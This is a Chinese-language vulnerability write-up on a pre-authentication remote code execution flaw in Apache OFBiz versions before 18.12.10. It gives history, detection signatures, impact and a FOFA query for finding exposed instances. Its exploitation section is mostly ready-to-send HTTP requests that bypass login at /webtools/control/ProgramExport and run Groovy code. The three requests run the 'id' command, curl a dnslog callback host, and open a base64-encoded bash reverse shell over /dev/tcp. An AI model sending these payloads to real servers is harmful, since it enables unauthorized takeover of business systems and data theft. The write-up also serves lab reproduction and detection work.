A14-2ApacheOFBiz-电子商务平台-RCE
漏洞描述:
2020年,为修复 CVE-2020-9496 增加权限校验,存在绕过。2021年,增加 Filter 用于拦截 XML-RPC 中的恶意请求,存在绕过。2023年四月,彻底删除 xmlrpc handler 以避免同类型的漏洞产生。尽管主分支在四月份已经移除了XML-RPC组件,但在Apache OFBiz的正式发布版本中,仅最新版本18.12.10彻底废除了XML-RPC功能。
利用特征
流量分析:攻击者利用这个漏洞时,会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中,这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。
异常请求内容:利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构,如使用分号或路径穿越技术(/)。
特定的错误日志:在尝试进行反序列化攻击时,可能会在日志中观察到相关错误或异常信息,尤其是与 XML-RPC 组件相关的。
漏洞影响
远程代码执行风险:这个漏洞允许未授权的攻击者在服务器上执行任意代码,这可能导致数据泄露、系统被勒索或控制权被夺取等严重的安全威胁。
数据安全和业务连续性:由于 Apache OFBiz 通常用于管理关键业务流程,此类攻击可能对业务操作产生重大影响,包括数据损坏和服务中断。
影响版本:
Apache OFBiz < 18.12.10
网站图片:
网络测绘:
fofa语法:
FOFA:app=“Apache_OFBiz”
漏洞复现:
使用vulhub的环境复现
访问登录界面:https://your-ip:8443/accounting/control/main
exp
直接发送如下请求即可使用Groovy脚本执行id命令(有回显):
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
dnslog验证
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
groovyProgram='curl+8pjgnx.dnslog.cn'.execute();
反弹shell
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
groovyProgram='bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}'.execute();